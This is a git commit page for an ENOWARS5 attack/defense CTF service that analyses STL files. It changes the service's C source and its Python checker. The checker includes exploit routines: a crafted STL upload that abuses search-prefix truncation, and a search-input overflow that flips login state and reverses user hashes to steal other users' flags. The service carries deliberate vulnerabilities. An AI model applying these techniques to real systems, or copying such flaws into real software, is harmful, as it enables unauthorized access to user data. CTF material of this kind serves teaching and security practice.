enowars5-service-stldoctor

STL-Analyzing A/D Service for ENOWARS5 in 2021
git clone https://git.sinitax.com/sinitax/enowars5-service-stldoctor
Log | Files | Refs | README | LICENSE | sfeed.txt

commit 612814068b4abef28915e51ef96780801e6c515b
parent 8e430a00c145647cf6a67504640bd919af2c4fdf
Author: Louis Burda <quent.burda@gmail.com>
Date:   Thu,  8 Jul 2021 02:33:33 +0200

added attackinfo and fixed other issues

Diffstat:
Mchecker/src/checker.py | 92+++++++++++++++++++++++++++++++++++++++++++++++++++----------------------------
Mservice/src/main.c | 58+++++++++++++++++++++++++---------------------------------
Msrc/main.c | 58+++++++++++++++++++++++++---------------------------------
3 files changed, 109 insertions(+), 99 deletions(-)

diff --git a/checker/src/checker.py b/checker/src/checker.py @@ -24,6 +24,7 @@ from enochecker3 import ( ChainDB, DependencyInjector, Enochecker, + ExploitCheckerTaskMessage, GetflagCheckerTaskMessage, GetnoiseCheckerTaskMessage, InternalErrorException, @@ -44,8 +45,9 @@ for path in os.listdir(f"{script_path}/models"): wordlist = [w for w in open(f"{script_path}/wordlist.txt").read().split() if w != ""] prompt = b"\r$ " -search_truncation_payload = b""" -solid test\xff +exploit_0_file_prefix = b""" +solid test\xff""" +exploit_0_file_suffix = b""" facet normal 0 0 1.0 outer loop vertex 1 0 0 @@ -366,8 +368,8 @@ async def getdb(db: ChainDB, key: str) -> tuple[Any, ...]: async def do_auth( - session: Session, authstr: bytes, check: bool = True -) -> Optional[bool]: + session: Session, authstr: bytes, check: bool = True, newuser: bool = True +) -> Optional[bytes]: session.logger.debug(f"Logging in with {authstr!r}") session.write(b"auth\n") session.write(authstr + b"\n") @@ -383,11 +385,24 @@ async def do_auth( # Also check success message resp += await session.readuntil(prompt, ctx="reading auth response (2)") - if b"Success!" not in resp: - session.logger.critical(f"Login with pass {authstr!r} failed") + try: + userid = resp.split(b"Logged in with ID ")[1].split(b"!")[0] + except: + session.logger.critical(f"Login with pass {authstr!r} failed:\n{resp!r}") raise MumbleException("Authentication not working properly") - return b"Welcome back" in resp + # Check wether new user + is_newuser = b"Welcome back" not in resp + if is_newuser != newuser: + if check: + if newuser: + session.logger.critical("Unexpectedly, user dir exists already!") + else: + session.logger.critical("Unexpectedly, user dir doesnt exist!") + raise MumbleException("Authentication not working properly") + return None + + return userid async def do_list(session: Session, check: bool = True) -> Optional[bytes]: @@ -692,7 +707,7 @@ async def test_good_upload( # Create new session, register and upload file session = await di.get(Session) if register: - await do_auth(session, authstr, check=True) + await do_auth(session, authstr, check=True, newuser=True) modelid = await do_upload(session, modelname, stlfile, check=True) assert modelid is not None check_hash(modelid) @@ -715,7 +730,7 @@ async def test_good_upload( await check_not_in_search( session, modelname, expected, download=True, fail=True ) - await do_auth(session, authstr, check=True) + await do_auth(session, authstr, check=True, newuser=False) info, stlfile = await check_in_search( session, modelname, expected, download=True ) @@ -760,7 +775,7 @@ async def test_search(di: DependencyInjector, registered: bool = False) -> None: # Ensure searching for a file that doesnt exist causes an error session = await di.get(Session) if registered: - await do_auth(session, authstr, check=True) + await do_auth(session, authstr, check=True, newuser=True) resp = await do_search(session, modelname, download=False, check=False) if resp is not None: session.logger.critical( @@ -773,9 +788,7 @@ async def test_search(di: DependencyInjector, registered: bool = False) -> None: @checker.putflag(0) -async def putflag_guest( - task: PutflagCheckerTaskMessage, di: DependencyInjector -) -> None: +async def putflag_guest(task: PutflagCheckerTaskMessage, di: DependencyInjector) -> str: modelname = fakeid() db = await di.get(ChainDB) @@ -786,23 +799,26 @@ async def putflag_guest( assert modelid is not None await db.set("info", (modelname, modelid)) + return "Model {}.. is kinda sus".format(modelid[:10].decode()) @checker.putflag(1) async def putflag_private( task: PutflagCheckerTaskMessage, di: DependencyInjector -) -> None: +) -> str: modelname, authstr = fakeids(2) stlfile = genfile(task.flag.encode(), "bin") db = await di.get(ChainDB) # Generate a file with flag in solidname and upload it (registered, bin) session = await di.get(Session) - await do_auth(session, authstr, check=True) + userid = await do_auth(session, authstr, check=True, newuser=True) + assert userid is not None modelid = await do_upload(session, modelname, stlfile, check=True) assert modelid is not None await db.set("info", (modelname, modelid, authstr)) + return "User {}.. is kinda sus".format(userid[:10].decode()) @checker.getflag(0) @@ -829,7 +845,7 @@ async def getflag_private( # Retrieve private flag file info via search / list and ensure flag's included session = await di.get(Session) - await do_auth(session, authstr, check=True) + await do_auth(session, authstr, check=True, newuser=False) search_resp = await do_search(session, modelname, download=True, check=True) assert search_resp is not None assert_in(task.flag.encode(), search_resp[0], "Flag is missing from stl info") @@ -864,7 +880,7 @@ async def putnoise_priv( # Generate a random file and upload it (registered, bin / ascii) session = await di.get(Session) stlfile = genfile(solidname, "ascii" if task.variant_id == 0 else "bin") - await do_auth(session, authstr, check=True) + await do_auth(session, authstr, check=True, newuser=True) modelid = await do_upload(session, modelname, stlfile, check=True) await db.set("info", (modelid, modelname, solidname, stlfile, authstr)) @@ -896,7 +912,7 @@ async def getnoise_priv( # Retrieve noise file by name via search and search (registered) session = await di.get(Session) - await do_auth(session, authstr, check=True) + await do_auth(session, authstr, check=True, newuser=False) await check_in_search( session, modelname, @@ -1005,29 +1021,33 @@ async def havoc_fluff_upload(di: DependencyInjector) -> None: @checker.exploit(0) -async def exploit_prefix_truncation(di: DependencyInjector) -> bytes: +async def exploit_prefix_truncation( + task: ExploitCheckerTaskMessage, di: DependencyInjector +) -> bytes: modelname = fakeid() searcher = await di.get(FlagSearcher) session = await di.get(Session) session.logger.debug("Uploading evil file for hash truncation") + assert task.attack_info is not None + target_prefix = task.attack_info.split()[1][:-2].encode() + # Upload evil file - await do_upload(session, modelname, stlfile=search_truncation_payload, check=True) - search_resp = await do_search(session, modelname, download=False, check=True) - print(search_resp) + evil_file = exploit_0_file_prefix + target_prefix + exploit_0_file_suffix + await do_upload(session, modelname, stlfile=evil_file, check=True) + await do_search(session, modelname, download=False, check=True) # Retrieve evil file for hash truncation session.write(b"search last\n") await session.drain() - filelist_resp = await session.readuntil( - b"[q to quit]: ", ctx="reading search results" - ) - session.logger.critical(filelist_resp) - filelist = [l.strip() for l in filelist_resp.split(b"\n")[:-1] if l.strip() != b""] + resp = await session.readline() + if b"ERR:" in resp: + raise MumbleException("Searching for cached entry fails!") + resp += await session.readuntil(b"[q to quit]: ", ctx="reading search results") + filelist = [l.strip() for l in resp.split(b"\n")[:-1] if l.strip() != b""] if len(filelist) == 0: raise MumbleException("Failed to list files through search") - session.logger.critical(filelist) # Use it to enumerate other files and grab contents flag = None @@ -1043,9 +1063,7 @@ async def exploit_prefix_truncation(di: DependencyInjector) -> bytes: resp += await session.readuntil( b"==================", ctx="getting file info (1)" ) - resp += await session.readuntil( - b"[q to quit]: ", ctx="getting file info (2)" - ) + resp += await session.readuntil(b"[q to quit]: ", ctx="getting file info (2)") session.logger.critical(resp) if flag := searcher.search_flag(resp): break @@ -1062,9 +1080,14 @@ async def exploit_prefix_truncation(di: DependencyInjector) -> bytes: @checker.exploit(1) -async def exploit_hash_overflow(di: DependencyInjector) -> None: +async def exploit_hash_overflow( + task: ExploitCheckerTaskMessage, di: DependencyInjector +) -> None: searcher = await di.get(FlagSearcher) + assert task.attack_info is not None + target_prefix = task.attack_info.split()[1][:-2].encode() + # Overflow loggedin variable session = await di.get(Session) session.write(b"search \xff\xff\xff\xff\xff0000000000000000\n") @@ -1084,13 +1107,16 @@ async def exploit_hash_overflow(di: DependencyInjector) -> None: # Login as each private user for userhash in users: + if not userhash.startswith(target_prefix): + continue + # Find preimage of user hash session.logger.debug(f"Logging in as user with id {userhash!r}") authstr = reverse_hash(userhash.decode()) # Authenticate and check if the user is new session = await di.get(Session) - if not await do_auth(session, authstr, check=True): + if not await do_auth(session, authstr, check=False, newuser=False): await session.exit() # We dont raise an exception, because it could be that user dir was cleaned # up just before we logged in, not necessarily because of an invalid prehash. diff --git a/service/src/main.c b/service/src/main.c @@ -100,13 +100,6 @@ fail: } int -access_authorized(const char *file) -{ - return (loggedin && file[0] == '.' && file[1] != '.') - || (!loggedin && file[0] != '.'); -} - -int handle_download(const char *scandir) { char *infopath = NULL, *modelpath = NULL; @@ -269,9 +262,10 @@ void search_cmd(const char *arg) { const char *hash, *resp = NULL; - char *indexpath = NULL, *seldir = NULL; - FILE *f; + char *indexpath = NULL, *filename = NULL, + *seldir = NULL; int i, c, matchlen, reslen; + FILE *f; if (arg && !strcmp(arg, "last")) { if (!cached.valid) { @@ -291,31 +285,26 @@ search_cmd(const char *arg) flock(fileno(f), LOCK_SH); reslen = matchlen = 0; + filename = aprintf("%s%s", loggedin ? "." : "", hash); while ((c = fgetc(f)) > 0) { if (c == '\n') { matchlen = 0; - continue; - } else if (matchlen == -1) { - continue; - } else if (!matchlen && c == '.') { - if (!loggedin) matchlen = -1; - continue; - } else if (c == hash[matchlen]) { + } else if (!matchlen && (c == '.') != loggedin) { + matchlen = -1; + } else if (matchlen >= 0 && c == filename[matchlen]) { matchlen += 1; + if (matchlen == strlen(filename)) { + fseek(f, -matchlen, SEEK_CUR); + putchar(' '); + while ((c = fgetc(f)) > 0 && c != '\n') + putchar(c); + putchar('\n'); + matchlen = 0; + reslen += 1; + } } else { matchlen = -1; } - - if (matchlen == strlen(hash)) { - fseek(f, -matchlen, SEEK_CUR); - putchar(' '); - if (loggedin) putchar('.'); - while ((c = fgetc(f)) > 0 && c != '\n') - putchar(c); - putchar('\n'); - matchlen = 0; - reslen += 1; - } } flock(fileno(f), LOCK_UN); @@ -328,7 +317,7 @@ search_cmd(const char *arg) while (1) { resp = ask("> Enter %s [q to quit]: ", - resp ? "another" : "hash"); + resp ? "another" : "hash"); if (strchr(resp, 'q')) break; if (checkalph(resp, ".abcdef0123456789-") != OK) { ERR("Invalid model id specified\n"); @@ -341,6 +330,7 @@ search_cmd(const char *arg) } exit: + free(filename); free(seldir); free(indexpath); return; @@ -379,7 +369,7 @@ list_cmd(const char *arg) } else { ERR("Failed to read file info!\n"); } - if (fn) fclose(f); + if (fn) fclose(fn); free(path); } flock(fileno(f), LOCK_UN); @@ -391,7 +381,7 @@ auth_cmd(const char *arg) { const char *hash; char *ndir, *indexpath; - int ret; + int ret, existed; FILE *f; if (loggedin) { @@ -399,19 +389,21 @@ auth_cmd(const char *arg) return; } + existed = 0; hash = mhash(arg ? arg : ask("> Enter a password: "), -1); ndir = aprintf("%s/.%s", resultdir, hash); ret = mkdir(ndir, S_IRWXU | S_IRWXG | S_IRWXO); if (!ret) { - printf("Success!\n"); + printf("Logged in with ID %s!\n", hash); } else if (ret && errno == EEXIST) { - printf("Success!\nWelcome back!\n"); + existed = 1; + printf("Logged in with ID %s!\nWelcome back!\n", hash); } else { ERR("Auth failed!\n"); return; } - if (errno != EEXIST) { + if (!existed) { indexpath = aprintf("%s/.index", resultdir); if (!(f = fopen(indexpath, "a+"))) { free(indexpath); diff --git a/src/main.c b/src/main.c @@ -100,13 +100,6 @@ fail: } int -access_authorized(const char *file) -{ - return (loggedin && file[0] == '.' && file[1] != '.') - || (!loggedin && file[0] != '.'); -} - -int handle_download(const char *scandir) { char *infopath = NULL, *modelpath = NULL; @@ -269,9 +262,10 @@ void search_cmd(const char *arg) { const char *hash, *resp = NULL; - char *indexpath = NULL, *seldir = NULL; - FILE *f; + char *indexpath = NULL, *filename = NULL, + *seldir = NULL; int i, c, matchlen, reslen; + FILE *f; /* either choose cached or request new entry */ if (arg && !strcmp(arg, "last")) { @@ -294,31 +288,26 @@ search_cmd(const char *arg) /* output lines that have hash as prefix */ reslen = matchlen = 0; + filename = aprintf("%s%s", loggedin ? "." : "", hash); while ((c = fgetc(f)) > 0) { if (c == '\n') { matchlen = 0; - continue; - } else if (matchlen == -1) { - continue; - } else if (!matchlen && c == '.') { - if (!loggedin) matchlen = -1; - continue; - } else if (c == hash[matchlen]) { + } else if (!matchlen && (c == '.') != loggedin) { + matchlen = -1; + } else if (matchlen >= 0 && c == filename[matchlen]) { matchlen += 1; + if (matchlen == strlen(filename)) { + fseek(f, -matchlen, SEEK_CUR); + putchar(' '); + while ((c = fgetc(f)) > 0 && c != '\n') + putchar(c); + putchar('\n'); + matchlen = 0; + reslen += 1; + } } else { matchlen = -1; } - - if (matchlen == strlen(hash)) { - fseek(f, -matchlen, SEEK_CUR); - putchar(' '); - if (loggedin) putchar('.'); - while ((c = fgetc(f)) > 0 && c != '\n') - putchar(c); - putchar('\n'); - matchlen = 0; - reslen += 1; - } } flock(fileno(f), LOCK_UN); @@ -332,7 +321,7 @@ search_cmd(const char *arg) /* allow user to choose files to access */ while (1) { resp = ask("> Enter %s [q to quit]: ", - resp ? "another" : "hash"); + resp ? "another" : "hash"); if (strchr(resp, 'q')) break; if (checkalph(resp, ".abcdef0123456789-") != OK) { ERR("Invalid model id specified\n"); @@ -345,6 +334,7 @@ search_cmd(const char *arg) } exit: + free(filename); free(seldir); free(indexpath); return; @@ -383,7 +373,7 @@ list_cmd(const char *arg) } else { ERR("Failed to read file info!\n"); } - if (fn) fclose(f); + if (fn) fclose(fn); free(path); } flock(fileno(f), LOCK_UN); @@ -395,7 +385,7 @@ auth_cmd(const char *arg) { const char *hash; char *ndir, *indexpath; - int ret; + int ret, existed; FILE *f; if (loggedin) { @@ -403,19 +393,21 @@ auth_cmd(const char *arg) return; } + existed = 0; hash = mhash(arg ? arg : ask("> Enter a password: "), -1); ndir = aprintf("%s/.%s", resultdir, hash); ret = mkdir(ndir, S_IRWXU | S_IRWXG | S_IRWXO); if (!ret) { - printf("Success!\n"); + printf("Logged in with ID %s!\n", hash); } else if (ret && errno == EEXIST) { - printf("Success!\nWelcome back!\n"); + existed = 1; + printf("Logged in with ID %s!\nWelcome back!\n", hash); } else { ERR("Auth failed!\n"); return; } - if (errno != EEXIST) { + if (!existed) { indexpath = aprintf("%s/.index", resultdir); if (!(f = fopen(indexpath, "a+"))) { free(indexpath);